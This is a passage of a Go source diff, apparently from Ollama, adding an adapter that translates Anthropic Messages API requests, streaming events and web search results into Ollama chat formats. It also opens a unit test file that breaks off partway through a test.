+			logutil.Trace("anthropic: dropping colliding custom web_search tool", "tool", TraceTool(t))
+			continue
+		}
+
+		tool, _, err := convertTool(t)
+		if err != nil {
+			return nil, err
+		}
+		tools = append(tools, tool)
+	}
+
+	var think *api.ThinkValue
+	normalizedEffort := ""
+	if r.OutputConfig != nil {
+		normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
+		if normalizedEffort == "xhigh" {
+			normalizedEffort = "high"
+		}
+	}
+
+	if r.Thinking != nil && r.Thinking.Type == "enabled" {
+		think = &api.ThinkValue{Value: true}
+	}
+	if r.Thinking != nil && r.Thinking.Type == "disabled" {
+		think = &api.ThinkValue{Value: false}
+	}
+	if think == nil && r.OutputConfig != nil {
+		switch normalizedEffort {
+		case "high", "medium", "low", "max":
+			think = &api.ThinkValue{Value: normalizedEffort}
+		}
+	}
+
+	stream := r.Stream
+	convertedRequest := &api.ChatRequest{
+		Model:    r.Model,
+		Messages: messages,
+		Options:  options,
+		Stream:   &stream,
+		Tools:    tools,
+		Think:    think,
+	}
+	logutil.Trace("anthropic: converted request", "req", TraceChatRequest(convertedRequest))
+
+	return convertedRequest, nil
+}
+
+// convertMessage converts an Anthropic MessageParam to Ollama api.Message(s)
+func convertMessage(msg MessageParam) ([]api.Message, error) {
+	var messages []api.Message
+	role := strings.ToLower(msg.Role)
+
+	var textContent strings.Builder
+	var images []api.ImageData
+	var toolCalls []api.ToolCall
+	var thinking string
+	var toolResults []api.Message
+	textBlocks := 0
+	imageBlocks := 0
+	toolUseBlocks := 0
+	toolResultBlocks := 0
+	serverToolUseBlocks := 0
+	webSearchToolResultBlocks := 0
+	thinkingBlocks := 0
+	unknownBlocks := 0
+
+	for _, block := range msg.Content {
+		switch block.Type {
+		case "text":
+			textBlocks++
+			if block.Text != nil {
+				textContent.WriteString(*block.Text)
+			}
+
+		case "image":
+			imageBlocks++
+			if block.Source == nil {
+				logutil.Trace("anthropic: invalid image source", "role", role)
+				return nil, errors.New("invalid image source")
+			}
+
+			decoded, err := resolveImageSource(block.Source)
+			if err != nil {
+				logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
+				return nil, err
+			}
+			images = append(images, decoded)
+
+		case "tool_use":
+			toolUseBlocks++
+			if block.ID == "" {
+				logutil.Trace("anthropic: tool_use block missing id", "role", role)
+				return nil, errors.New("tool_use block missing required 'id' field")
+			}
+			if block.Name == "" {
+				logutil.Trace("anthropic: tool_use block missing name", "role", role)
+				return nil, errors.New("tool_use block missing required 'name' field")
+			}
+			toolCalls = append(toolCalls, api.ToolCall{
+				ID: block.ID,
+				Function: api.ToolCallFunction{
+					Name:      block.Name,
+					Arguments: block.Input,
+				},
+			})
+
+		case "tool_result":
+			toolResultBlocks++
+			resultContent, resultImages, err := convertToolResultContent(block.Content)
+			if err != nil {
+				logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
+				return nil, err
+			}
+
+			toolResults = append(toolResults, api.Message{
+				Role:       "tool",
+				Content:    resultContent,
+				Images:     resultImages,
+				ToolCallID: block.ToolUseID,
+			})
+
+		case "thinking":
+			thinkingBlocks++
+			if block.Thinking != nil {
+				thinking = *block.Thinking
+			}
+
+		case "server_tool_use":
+			serverToolUseBlocks++
+			toolCalls = append(toolCalls, api.ToolCall{
+				ID: block.ID,
+				Function: api.ToolCallFunction{
+					Name:      block.Name,
+					Arguments: block.Input,
+				},
+			})
+
+		case "web_search_tool_result":
+			webSearchToolResultBlocks++
+			toolResults = append(toolResults, api.Message{
+				Role:       "tool",
+				Content:    formatWebSearchToolResultContent(block.Content),
+				ToolCallID: block.ToolUseID,
+			})
+		default:
+			unknownBlocks++
+		}
+	}
+
+	if role == "user" && len(toolResults) > 0 {
+		messages = append(messages, toolResults...)
+	}
+
+	if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
+		m := api.Message{
+			Role:      role,
+			Content:   textContent.String(),
+			Images:    images,
+			ToolCalls: toolCalls,
+			Thinking:  thinking,
+		}
+		messages = append(messages, m)
+	}
+
+	// Add tool results as separate messages.
+	if role != "user" || len(toolResults) == 0 {
+		messages = append(messages, toolResults...)
+	}
+	logutil.Trace("anthropic: converted block message",
+		"role", role,
+		"blocks", len(msg.Content),
+		"text", textBlocks,
+		"image", imageBlocks,
+		"tool_use", toolUseBlocks,
+		"tool_result", toolResultBlocks,
+		"server_tool_use", serverToolUseBlocks,
+		"web_search_result", webSearchToolResultBlocks,
+		"thinking", thinkingBlocks,
+		"unknown", unknownBlocks,
+		"messages", TraceAPIMessages(messages),
+	)
+
+	return messages, nil
+}
+
+func formatWebSearchToolResultContent(content any) string {
+	switch c := content.(type) {
+	case string:
+		return c
+	case []WebSearchResult:
+		var resultContent strings.Builder
+		for _, item := range c {
+			if item.Type != "web_search_result" {
+				continue
+			}
+			fmt.Fprintf(&resultContent, "- %s: %s\n", item.Title, item.URL)
+		}
+		return resultContent.String()
+	case []any:
+		var resultContent strings.Builder
+		for _, item := range c {
+			itemMap, ok := item.(map[string]any)
+			if !ok {
+				continue
+			}
+			switch itemMap["type"] {
+			case "web_search_result":
+				title, _ := itemMap["title"].(string)
+				url, _ := itemMap["url"].(string)
+				fmt.Fprintf(&resultContent, "- %s: %s\n", title, url)
+			case "web_search_tool_result_error":
+				errorCode, _ := itemMap["error_code"].(string)
+				if errorCode == "" {
+					return "web_search_tool_result_error"
+				}
+				return "web_search_tool_result_error: " + errorCode
+			}
+		}
+		return resultContent.String()
+	case map[string]any:
+		if c["type"] == "web_search_tool_result_error" {
+			errorCode, _ := c["error_code"].(string)
+			if errorCode == "" {
+				return "web_search_tool_result_error"
+			}
+			return "web_search_tool_result_error: " + errorCode
+		}
+		data, err := json.Marshal(c)
+		if err != nil {
+			return ""
+		}
+		return string(data)
+	case WebSearchToolResultError:
+		if c.ErrorCode == "" {
+			return "web_search_tool_result_error"
+		}
+		return "web_search_tool_result_error: " + c.ErrorCode
+	default:
+		data, err := json.Marshal(c)
+		if err != nil {
+			return ""
+		}
+		return string(data)
+	}
+}
+
+// convertTool converts an Anthropic Tool to an Ollama api.Tool, returning true if it's a server tool
+func convertTool(t Tool) (api.Tool, bool, error) {
+	if strings.HasPrefix(t.Type, "web_search") {
+		props := api.NewToolPropertiesMap()
+		props.Set("query", api.ToolProperty{
+			Type:        api.PropertyType{"string"},
+			Description: "The search query to look up on the web",
+		})
+		return api.Tool{
+			Type: "function",
+			Function: api.ToolFunction{
+				Name:        "web_search",
+				Description: "Search the web for current information. Use this to find up-to-date information about any topic.",
+				Parameters: api.ToolFunctionParameters{
+					Type:       "object",
+					Required:   []string{"query"},
+					Properties: props,
+				},
+			},
+		}, true, nil
+	}
+
+	var params api.ToolFunctionParameters
+	if len(t.InputSchema) > 0 {
+		if err := json.Unmarshal(t.InputSchema, &params); err != nil {
+			logutil.Trace("anthropic: invalid tool schema", "tool", t.Name, "err", err)
+			return api.Tool{}, false, fmt.Errorf("invalid input_schema for tool %q: %w", t.Name, err)
+		}
+	}
+
+	return api.Tool{
+		Type: "function",
+		Function: api.ToolFunction{
+			Name:        t.Name,
+			Description: t.Description,
+			Parameters:  params,
+		},
+	}, false, nil
+}
+
+// ToMessagesResponse converts an Ollama api.ChatResponse to an Anthropic MessagesResponse
+func ToMessagesResponse(id string, r api.ChatResponse) MessagesResponse {
+	var content []ContentBlock
+
+	if r.Message.Thinking != "" {
+		content = append(content, ContentBlock{
+			Type:     "thinking",
+			Thinking: ptr(r.Message.Thinking),
+		})
+	}
+
+	if r.Message.Content != "" {
+		content = append(content, ContentBlock{
+			Type: "text",
+			Text: ptr(r.Message.Content),
+		})
+	}
+
+	for _, tc := range r.Message.ToolCalls {
+		content = append(content, ContentBlock{
+			Type:  "tool_use",
+			ID:    tc.ID,
+			Name:  tc.Function.Name,
+			Input: tc.Function.Arguments,
+		})
+	}
+
+	stopReason := mapStopReason(r.DoneReason, len(r.Message.ToolCalls) > 0)
+
+	return MessagesResponse{
+		ID:         id,
+		Type:       "message",
+		Role:       "assistant",
+		Model:      r.Model,
+		Content:    content,
+		StopReason: stopReason,
+		Usage: Usage{
+			InputTokens:  r.Metrics.PromptEvalCount,
+			OutputTokens: r.Metrics.EvalCount,
+		},
+	}
+}
+
+// mapStopReason converts Ollama done_reason to Anthropic stop_reason
+func mapStopReason(reason string, hasToolCalls bool) string {
+	if hasToolCalls {
+		return "tool_use"
+	}
+
+	switch reason {
+	case "stop":
+		return "end_turn"
+	case "length":
+		return "max_tokens"
+	default:
+		if reason != "" {
+			return "stop_sequence"
+		}
+		return ""
+	}
+}
+
+// StreamConverter manages state for converting Ollama streaming responses to Anthropic format
+type StreamConverter struct {
+	ID                   string
+	Model                string
+	firstWrite           bool
+	contentIndex         int
+	inputTokens          int
+	outputTokens         int
+	estimatedInputTokens int // Estimated tokens from request (used when actual metrics are 0)
+	thinkingStarted      bool
+	thinkingDone         bool
+	textStarted          bool
+	toolCallsSent        map[string]bool
+}
+
+func NewStreamConverter(id, model string, estimatedInputTokens int) *StreamConverter {
+	return &StreamConverter{
+		ID:                   id,
+		Model:                model,
+		firstWrite:           true,
+		estimatedInputTokens: estimatedInputTokens,
+		toolCallsSent:        make(map[string]bool),
+	}
+}
+
+// StreamEvent represents a streaming event to be sent to the client
+type StreamEvent struct {
+	Event string
+	Data  any
+}
+
+// Process converts an Ollama ChatResponse to Anthropic streaming events
+func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
+	var events []StreamEvent
+
+	if c.firstWrite {
+		c.firstWrite = false
+		// Use actual metrics if available, otherwise use estimate
+		c.inputTokens = r.Metrics.PromptEvalCount
+		if c.inputTokens == 0 && c.estimatedInputTokens > 0 {
+			c.inputTokens = c.estimatedInputTokens
+		}
+
+		events = append(events, StreamEvent{
+			Event: "message_start",
+			Data: MessageStartEvent{
+				Type: "message_start",
+				Message: MessagesResponse{
+					ID:      c.ID,
+					Type:    "message",
+					Role:    "assistant",
+					Model:   c.Model,
+					Content: []ContentBlock{},
+					Usage: Usage{
+						InputTokens:  c.inputTokens,
+						OutputTokens: 0,
+					},
+				},
+			},
+		})
+	}
+
+	if r.Message.Thinking != "" && !c.thinkingDone {
+		if !c.thinkingStarted {
+			c.thinkingStarted = true
+			events = append(events, StreamEvent{
+				Event: "content_block_start",
+				Data: ContentBlockStartEvent{
+					Type:  "content_block_start",
+					Index: c.contentIndex,
+					ContentBlock: ContentBlock{
+						Type:     "thinking",
+						Thinking: ptr(""),
+					},
+				},
+			})
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type:     "thinking_delta",
+					Thinking: r.Message.Thinking,
+				},
+			},
+		})
+	}
+
+	if r.Message.Content != "" {
+		if c.thinkingStarted && !c.thinkingDone {
+			c.thinkingDone = true
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+		}
+
+		if !c.textStarted {
+			c.textStarted = true
+			events = append(events, StreamEvent{
+				Event: "content_block_start",
+				Data: ContentBlockStartEvent{
+					Type:  "content_block_start",
+					Index: c.contentIndex,
+					ContentBlock: ContentBlock{
+						Type: "text",
+						Text: ptr(""),
+					},
+				},
+			})
+		}
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type: "text_delta",
+					Text: r.Message.Content,
+				},
+			},
+		})
+	}
+
+	for _, tc := range r.Message.ToolCalls {
+		if c.toolCallsSent[tc.ID] {
+			continue
+		}
+
+		// Close thinking block if still open (thinking → tool_use without text in between)
+		if c.thinkingStarted && !c.thinkingDone {
+			c.thinkingDone = true
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+		}
+
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+			c.contentIndex++
+			c.textStarted = false
+		}
+
+		argsJSON, err := json.Marshal(tc.Function.Arguments)
+		if err != nil {
+			slog.Error("failed to marshal tool arguments", "error", err, "tool_id", tc.ID)
+			continue
+		}
+		events = append(events, StreamEvent{
+			Event: "content_block_start",
+			Data: ContentBlockStartEvent{
+				Type:  "content_block_start",
+				Index: c.contentIndex,
+				ContentBlock: ContentBlock{
+					Type:  "tool_use",
+					ID:    tc.ID,
+					Name:  tc.Function.Name,
+					Input: api.NewToolCallFunctionArguments(),
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "content_block_delta",
+			Data: ContentBlockDeltaEvent{
+				Type:  "content_block_delta",
+				Index: c.contentIndex,
+				Delta: Delta{
+					Type:        "input_json_delta",
+					PartialJSON: string(argsJSON),
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "content_block_stop",
+			Data: ContentBlockStopEvent{
+				Type:  "content_block_stop",
+				Index: c.contentIndex,
+			},
+		})
+
+		c.toolCallsSent[tc.ID] = true
+		c.contentIndex++
+	}
+
+	if r.Done {
+		if c.textStarted {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+		} else if c.thinkingStarted && !c.thinkingDone {
+			events = append(events, StreamEvent{
+				Event: "content_block_stop",
+				Data: ContentBlockStopEvent{
+					Type:  "content_block_stop",
+					Index: c.contentIndex,
+				},
+			})
+		}
+
+		c.inputTokens = r.Metrics.PromptEvalCount
+		c.outputTokens = r.Metrics.EvalCount
+		stopReason := mapStopReason(r.DoneReason, len(c.toolCallsSent) > 0)
+
+		events = append(events, StreamEvent{
+			Event: "message_delta",
+			Data: MessageDeltaEvent{
+				Type: "message_delta",
+				Delta: MessageDelta{
+					StopReason: stopReason,
+				},
+				Usage: DeltaUsage{
+					InputTokens:  c.inputTokens,
+					OutputTokens: c.outputTokens,
+				},
+			},
+		})
+
+		events = append(events, StreamEvent{
+			Event: "message_stop",
+			Data: MessageStopEvent{
+				Type: "message_stop",
+			},
+		})
+	}
+
+	return events
+}
+
+// generateID generates a unique ID with the given prefix using crypto/rand
+func generateID(prefix string) string {
+	b := make([]byte, 12)
+	if _, err := rand.Read(b); err != nil {
+		// Fallback to time-based ID if crypto/rand fails
+		return fmt.Sprintf("%s_%d", prefix, time.Now().UnixNano())
+	}
+	return fmt.Sprintf("%s_%x", prefix, b)
+}
+
+// GenerateMessageID generates a unique message ID
+func GenerateMessageID() string {
+	return generateID("msg")
+}
+
+func resolveImageSource(source *ImageSource) (api.ImageData, error) {
+	if source.Type != "base64" {
+		return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
+	}
+
+	decoded, err := base64.StdEncoding.DecodeString(source.Data)
+	if err != nil {
+		return nil, fmt.Errorf("invalid base64 image data: %w", err)
+	}
+
+	return decoded, nil
+}
+
+func convertToolResultContent(content any) (string, []api.ImageData, error) {
+	switch c := content.(type) {
+	case nil:
+		return "", nil, nil
+	case string:
+		return c, nil, nil
+	case []any:
+		var text strings.Builder
+		var images []api.ImageData
+
+		for _, cb := range c {
+			cbMap, ok := cb.(map[string]any)
+			if !ok {
+				continue
+			}
+
+			switch cbMap["type"] {
+			case "text":
+				if t, ok := cbMap["text"].(string); ok {
+					text.WriteString(t)
+				}
+			case "image":
+				rawSource, ok := cbMap["source"].(map[string]any)
+				if !ok {
+					return "", nil, errors.New("invalid tool_result image source")
+				}
+
+				var source ImageSource
+				if rawType, ok := rawSource["type"].(string); ok {
+					source.Type = rawType
+				}
+				if rawMediaType, ok := rawSource["media_type"].(string); ok {
+					source.MediaType = rawMediaType
+				}
+				if rawData, ok := rawSource["data"].(string); ok {
+					source.Data = rawData
+				}
+
+				img, err := resolveImageSource(&source)
+				if err != nil {
+					return "", nil, err
+				}
+				images = append(images, img)
+			}
+		}
+
+		return text.String(), images, nil
+	default:
+		return "", nil, nil
+	}
+}
+
+// ptr returns a pointer to the given string value
+func ptr(s string) *string {
+	return &s
+}
+
+// CountTokensRequest represents an Anthropic count_tokens request
+type CountTokensRequest struct {
+	Model    string          `json:"model"`
+	Messages []MessageParam  `json:"messages"`
+	System   any             `json:"system,omitempty"`
+	Tools    []Tool          `json:"tools,omitempty"`
+	Thinking *ThinkingConfig `json:"thinking,omitempty"`
+}
+
+// EstimateInputTokens estimates input tokens from a MessagesRequest (reuses CountTokensRequest logic)
+func EstimateInputTokens(req MessagesRequest) int {
+	return estimateTokens(CountTokensRequest{
+		Model:    req.Model,
+		Messages: req.Messages,
+		System:   req.System,
+		Tools:    req.Tools,
+		Thinking: req.Thinking,
+	})
+}
+
+// CountTokensResponse represents an Anthropic count_tokens response
+type CountTokensResponse struct {
+	InputTokens int `json:"input_tokens"`
+}
+
+// estimateTokens returns a rough estimate of tokens (len/4).
+// TODO: Replace with actual tokenization via Tokenize API for accuracy.
+// Current len/4 heuristic is a rough approximation (~4 chars/token average).
+func estimateTokens(req CountTokensRequest) int {
+	var totalLen int
+
+	// Count system prompt
+	totalLen += countAnyContent(req.System)
+
+	for _, msg := range req.Messages {
+		// Count role (always present)
+		totalLen += len(msg.Role)
+		// Count content
+		totalLen += countAnyContent(msg.Content)
+	}
+
+	for _, tool := range req.Tools {
+		totalLen += len(tool.Name) + len(tool.Description) + len(tool.InputSchema)
+	}
+
+	// Return len/4 as rough token estimate, minimum 1 if there's any content
+	tokens := totalLen / 4
+	if tokens == 0 && (len(req.Messages) > 0 || req.System != nil) {
+		tokens = 1
+	}
+	return tokens
+}
+
+func countAnyContent(content any) int {
+	if content == nil {
+		return 0
+	}
+
+	switch c := content.(type) {
+	case string:
+		return len(c)
+	case []ContentBlock:
+		total := 0
+		for _, block := range c {
+			total += countContentBlock(block)
+		}
+		return total
+	case []any:
+		total := 0
+		for _, item := range c {
+			data, err := json.Marshal(item)
+			if err != nil {
+				continue
+			}
+			var block ContentBlock
+			if err := json.Unmarshal(data, &block); err == nil {
+				total += countContentBlock(block)
+			}
+		}
+		return total
+	default:
+		if data, err := json.Marshal(content); err == nil {
+			return len(data)
+		}
+		return 0
+	}
+}
+
+func countContentBlock(block ContentBlock) int {
+	total := 0
+	if block.Text != nil {
+		total += len(*block.Text)
+	}
+	if block.Thinking != nil {
+		total += len(*block.Thinking)
+	}
+	if block.Type == "tool_use" || block.Type == "tool_result" {
+		if data, err := json.Marshal(block); err == nil {
+			total += len(data)
+		}
+	}
+	return total
+}
+
+// OllamaWebSearchRequest represents a request to the Ollama web search API
+type OllamaWebSearchRequest struct {
+	Query      string `json:"query"`
+	MaxResults int    `json:"max_results,omitempty"`
+}
+
+// OllamaWebSearchResult represents a single search result from Ollama API
+type OllamaWebSearchResult struct {
+	Title   string `json:"title"`
+	URL     string `json:"url"`
+	Content string `json:"content"`
+}
+
+// OllamaWebSearchResponse represents the response from the Ollama web search API
+type OllamaWebSearchResponse struct {
+	Results []OllamaWebSearchResult `json:"results"`
+}
+
+var WebSearchEndpoint = "https://ollama.com/api/web_search"
+
+func WebSearch(ctx context.Context, query string, maxResults int) (*OllamaWebSearchResponse, error) {
+	if internalcloud.Disabled() {
+		logutil.TraceContext(ctx, "anthropic: web search blocked", "reason", "cloud_disabled")
+		return nil, errors.New(internalcloud.DisabledError("web search is unavailable"))
+	}
+
+	if maxResults <= 0 {
+		maxResults = 5
+	}
+	if maxResults > 10 {
+		maxResults = 10
+	}
+
+	reqBody := OllamaWebSearchRequest{
+		Query:      query,
+		MaxResults: maxResults,
+	}
+
+	body, err := json.Marshal(reqBody)
+	if err != nil {
+		return nil, fmt.Errorf("failed to marshal web search request: %w", err)
+	}
+
+	searchURL, err := url.Parse(WebSearchEndpoint)
+	if err != nil {
+		return nil, fmt.Errorf("failed to parse web search URL: %w", err)
+	}
+	logutil.TraceContext(ctx, "anthropic: web search request",
+		"query", TraceTruncateString(query),
+		"max_results", maxResults,
+		"url", searchURL.String(),
+	)
+
+	q := searchURL.Query()
+	q.Set("ts", strconv.FormatInt(time.Now().Unix(), 10))
+	searchURL.RawQuery = q.Encode()
+
+	signature := ""
+	if strings.EqualFold(searchURL.Hostname(), "ollama.com") {
+		challenge := fmt.Sprintf("%s,%s", http.MethodPost, searchURL.RequestURI())
+		signature, err = auth.Sign(ctx, []byte(challenge))
+		if err != nil {
+			return nil, fmt.Errorf("failed to sign web search request: %w", err)
+		}
+	}
+	logutil.TraceContext(ctx, "anthropic: web search auth", "signed", signature != "")
+
+	req, err := http.NewRequestWithContext(ctx, "POST", searchURL.String(), bytes.NewReader(body))
+	if err != nil {
+		return nil, fmt.Errorf("failed to create web search request: %w", err)
+	}
+
+	req.Header.Set("Content-Type", "application/json")
+	if signature != "" {
+		req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
+	}
+
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return nil, fmt.Errorf("web search request failed: %w", err)
+	}
+	defer resp.Body.Close()
+	logutil.TraceContext(ctx, "anthropic: web search response", "status", resp.StatusCode)
+
+	if resp.StatusCode != http.StatusOK {
+		respBody, _ := io.ReadAll(resp.Body)
+		return nil, fmt.Errorf("web search returned status %d: %s", resp.StatusCode, string(respBody))
+	}
+
+	var searchResp OllamaWebSearchResponse
+	if err := json.NewDecoder(resp.Body).Decode(&searchResp); err != nil {
+		return nil, fmt.Errorf("failed to decode web search response: %w", err)
+	}
+	logutil.TraceContext(ctx, "anthropic: web search results", "count", len(searchResp.Results))
+
+	return &searchResp, nil
+}
+
+func ConvertOllamaToAnthropicResults(ollamaResults *OllamaWebSearchResponse) []WebSearchResult {
+	var results []WebSearchResult
+	for _, r := range ollamaResults.Results {
+		results = append(results, WebSearchResult{
+			Type:  "web_search_result",
+			URL:   r.URL,
+			Title: r.Title,
+		})
+	}
+	return results
+}

anthropic/anthropic_test.go

@@ -0,0 +1,1907 @@
+package anthropic
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"strings"
+	"testing"
+
+	"github.com/google/go-cmp/cmp"
+
+	"github.com/ollama/ollama/api"
+)
+
+const (
+	testImage = `iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=`
+)
+
+// textContent is a convenience for constructing []ContentBlock with a single text block in tests.
+func textContent(s string) []ContentBlock {
+	return []ContentBlock{{Type: "text", Text: &s}}
+}
+
+// makeArgs creates ToolCallFunctionArguments from key-value pairs (convenience function for tests)
+func makeArgs(kvs ...any) api.ToolCallFunctionArguments {
+	args := api.NewToolCallFunctionArguments()
+	for i := 0; i < len(kvs)-1; i += 2 {
+		args.Set(kvs[i].(string), kvs[i+1])
+	}
+	return args
+}
+
+func TestFromMessagesRequest_Basic(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello")},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Model != "test-model" {
+		t.Errorf("expected model 'test-model', got %q", result.Model)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Role != "user" || result.Messages[0].Content != "Hello" {
+		t.Errorf("unexpected message: %+v", result.Messages[0])
+	}
+
+	if numPredict, ok := result.Options["num_predict"].(int); !ok || numPredict != 1024 {
+		t.Errorf("expected num_predict 1024, got %v", result.Options["num_predict"])
+	}
+}
+
+func TestFromMessagesRequest_WithSystemPrompt(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		System:    "You are a helpful assistant.",
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello")},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Role != "system" || result.Messages[0].Content != "You are a helpful assistant." {
+		t.Errorf("unexpected system message: %+v", result.Messages[0])
+	}
+}
+
+func TestFromMessagesRequest_WithSystemPromptArray(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		System: []any{
+			map[string]any{"type": "text", "text": "You are helpful."},
+			map[string]any{"type": "text", "text": " Be concise."},
+		},
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("Hello")},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Content != "You are helpful. Be concise." {
+		t.Errorf("unexpected system message content: %q", result.Messages[0].Content)
+	}
+}
+
+func TestFromMessagesRequest_WithOptions(t *testing.T) {
+	temp := 0.7
+	topP := 0.9
+	topK := 40
+	req := MessagesRequest{
+		Model:         "test-model",
+		MaxTokens:     2048,
+		Messages:      []MessageParam{{Role: "user", Content: textContent("Hello")}},
+		Temperature:   &temp,
+		TopP:          &topP,
+		TopK:          &topK,
+		StopSequences: []string{"\n", "END"},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if result.Options["temperature"] != 0.7 {
+		t.Errorf("expected temperature 0.7, got %v", result.Options["temperature"])
+	}
+	if result.Options["top_p"] != 0.9 {
+		t.Errorf("expected top_p 0.9, got %v", result.Options["top_p"])
+	}
+	if result.Options["top_k"] != 40 {
+		t.Errorf("expected top_k 40, got %v", result.Options["top_k"])
+	}
+	if diff := cmp.Diff([]string{"\n", "END"}, result.Options["stop"]); diff != "" {
+		t.Errorf("stop sequences mismatch: %s", diff)
+	}
+}
+
+func TestFromMessagesRequest_WithImage(t *testing.T) {
+	imgData, _ := base64.StdEncoding.DecodeString(testImage)
+
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{Type: "text", Text: ptr("What's in this image?")},
+					{
+						Type: "image",
+						Source: &ImageSource{
+							Type:      "base64",
+							MediaType: "image/png",
+							Data:      testImage,
+						},
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	if result.Messages[0].Content != "What's in this image?" {
+		t.Errorf("expected content 'What's in this image?', got %q", result.Messages[0].Content)
+	}
+
+	if len(result.Messages[0].Images) != 1 {
+		t.Fatalf("expected 1 image, got %d", len(result.Messages[0].Images))
+	}
+
+	if string(result.Messages[0].Images[0]) != string(imgData) {
+		t.Error("image data mismatch")
+	}
+}
+
+func TestFromMessagesRequest_WithToolUse(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{Role: "user", Content: textContent("What's the weather in Paris?")},
+			{
+				Role: "assistant",
+				Content: []ContentBlock{
+					{
+						Type:  "tool_use",
+						ID:    "call_123",
+						Name:  "get_weather",
+						Input: makeArgs("location", "Paris"),
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 2 {
+		t.Fatalf("expected 2 messages, got %d", len(result.Messages))
+	}
+
+	if len(result.Messages[1].ToolCalls) != 1 {
+		t.Fatalf("expected 1 tool call, got %d", len(result.Messages[1].ToolCalls))
+	}
+
+	tc := result.Messages[1].ToolCalls[0]
+	if tc.ID != "call_123" {
+		t.Errorf("expected tool call ID 'call_123', got %q", tc.ID)
+	}
+	if tc.Function.Name != "get_weather" {
+		t.Errorf("expected tool name 'get_weather', got %q", tc.Function.Name)
+	}
+}
+
+func TestFromMessagesRequest_WithToolResult(t *testing.T) {
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
+						ToolUseID: "call_123",
+						Content:   "The weather in Paris is sunny, 22°C",
+					},
+				},
+			},
+		},
+	}
+
+	result, err := FromMessagesRequest(req)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	if len(result.Messages) != 1 {
+		t.Fatalf("expected 1 message, got %d", len(result.Messages))
+	}
+
+	msg := result.Messages[0]
+	if msg.Role != "tool" {
+		t.Errorf("expected role 'tool', got %q", msg.Role)
+	}
+	if msg.ToolCallID != "call_123" {
+		t.Errorf("expected tool_call_id 'call_123', got %q", msg.ToolCallID)
+	}
+	if msg.Content != "The weather in Paris is sunny, 22°C" {
+		t.Errorf("unexpected content: %q", msg.Content)
+	}
+}
+
+func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
+	imgData, _ := base64.StdEncoding.DecodeString(testImage)
+
+	req := MessagesRequest{
+		Model:     "test-model",
+		MaxTokens: 1024,
+		Messages: []MessageParam{
+			{
+				Role: "user",
+				Content: []ContentBlock{
+					{
+						Type:      "tool_result",
